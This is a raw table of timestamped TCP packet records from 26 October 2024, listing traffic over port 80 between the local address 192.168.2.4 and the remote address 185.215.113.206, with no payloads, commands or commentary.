Oct 26, 2024 05:55:04.116859913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.116875887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.116889000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.116933107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.116970062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.117023945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.117024899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.117053986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.117094040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.273694038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.273710012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.273782969 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.273936987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.273992062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274030924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274045944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274060965 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274079084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274096012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274102926 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274126053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274158001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274166107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274213076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274209976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274230957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274241924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274293900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274331093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274348974 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274533033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274620056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274638891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274665117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274677992 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274693012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274693966 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274710894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.274717093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274733067 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.274750948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275000095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275051117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275062084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275078058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275106907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275115013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275118113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275130987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275156975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275182009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275350094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275399923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275403023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275414944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.275439024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.275449991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.430794954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.430824041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.430838108 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.430855989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.430879116 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431071043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431086063 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431103945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431119919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431138039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431154013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431164026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431188107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431204081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431246996 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431289911 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431305885 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431329012 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431341887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431346893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431391954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431408882 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431426048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431466103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431772947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431818008 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431822062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431833982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431873083 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.431930065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431946039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431961060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431976080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.431989908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.432024956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.432024956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.432295084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.432321072 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.432337046 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.432347059 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.432368994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.432374001 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.432415009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587557077 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587578058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587600946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587619066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587630033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587632895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587646961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587651968 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587668896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587676048 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587697983 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587723970 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587798119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587814093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587837934 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587852001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587869883 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587908030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.587954044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587977886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587994099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.587995052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588013887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588027954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588160038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588196993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588202000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588217020 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588253975 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588259935 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588413000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588437080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588450909 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588474035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588496923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588541985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588557959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588594913 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588757038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588807106 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588831902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588848114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588893890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.588936090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588952065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588967085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.588989019 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.589014053 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.589039087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.589190960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744452000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744609118 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744623899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744638920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744663954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744677067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744692087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744724035 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744733095 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744738102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744754076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744764090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744791985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744807005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744822979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744839907 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744843960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744863033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744879961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744935036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744949102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.744972944 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.744987011 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745141983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745193005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745208979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745234013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745260954 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745292902 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745309114 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745321989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745347023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745368004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745548964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745594978 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745609999 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745635033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745656967 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745759964 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745774984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745790005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745805025 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.745811939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745835066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.745851040 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.746083975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.746126890 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901582003 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901642084 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901679039 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901712894 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901729107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901748896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901763916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901777029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901808023 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901815891 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901850939 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901859045 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901885033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901895046 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901920080 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901925087 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901953936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901958942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.901989937 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.901993990 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902034044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902035952 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902064085 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902082920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902108908 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902133942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902168036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902174950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902204037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902211905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902247906 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902255058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902292013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902301073 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902327061 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902335882 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902359962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902369976 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902604103 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902652025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902654886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902688980 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902697086 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902738094 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902755022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902784109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902796984 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902822971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902905941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902950048 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.902957916 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.902991056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:04.903002024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:04.903033972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058293104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058362007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058398008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058414936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058415890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058449030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058466911 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058487892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058490992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058532000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058535099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058563948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058572054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058615923 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058620930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058655024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058657885 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058690071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058706999 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058743954 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058768034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058772087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058784962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058785915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058800936 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058805943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058814049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058820963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058840036 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058845997 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058857918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058890104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058897972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058904886 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.058931112 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.058958054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059034109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059066057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059081078 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059082985 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059103012 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059115887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059134007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059173107 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059298038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059338093 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059338093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059355974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059376001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059389114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059418917 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059456110 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059552908 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059591055 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059592009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059607983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059631109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059643030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059685946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059701920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.059726000 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.059739113 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215037107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215075016 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215092897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215131998 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215133905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215146065 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215152025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215183020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215190887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215195894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215230942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215234995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215384960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215435028 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215454102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215473890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215490103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215491056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:55:05.215503931 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:55:05.215526104 CEST	49745	80	192.168.2.4	185.215.113.206
